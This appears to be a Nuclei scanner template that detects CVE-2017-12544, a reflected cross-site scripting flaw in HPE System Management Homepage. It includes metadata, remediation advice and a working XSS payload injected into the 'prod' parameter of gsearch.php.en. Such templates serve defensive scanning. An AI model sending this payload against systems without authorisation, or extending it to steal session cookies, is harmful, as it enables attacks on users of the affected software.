id: CVE-2017-12544

info:
  name: HPE System Management - Cross-Site Scripting
  author: divya_mudgal
  severity: medium
  description: HPE System Management contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
  remediation: |
    Apply the latest security patches or updates provided by HPE to fix the XSS vulnerability in the System Management software.
  reference:
    - https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbmu03753en_us
    - http://web.archive.org/web/20211206092413/https://securitytracker.com/id/1039437
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12544
    - http://www.securitytracker.com/id/1039437
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-12544
    cwe-id: CWE-79
    epss-score: 0.04515
    epss-percentile: 0.90571
    cpe: cpe:2.3:a:hp:system_management_homepage:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hp
    product: system_management_homepage
  tags: cve,cve2017,xss,hp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/gsearch.php.en?prod=';prompt`document.domain`;//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var prodName = '';prompt`document.domain`;//';"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402203bf4eb72e33a750d5758a3c7e7bac5f0a76721ea9cbcfebc06cd13ceaf19c1d1022013ecc054fa487d498855f6f7ae971267e51b1441ff7eca1ce74d7f581919f1f8:922c64590222798bb761d5b6d8e72950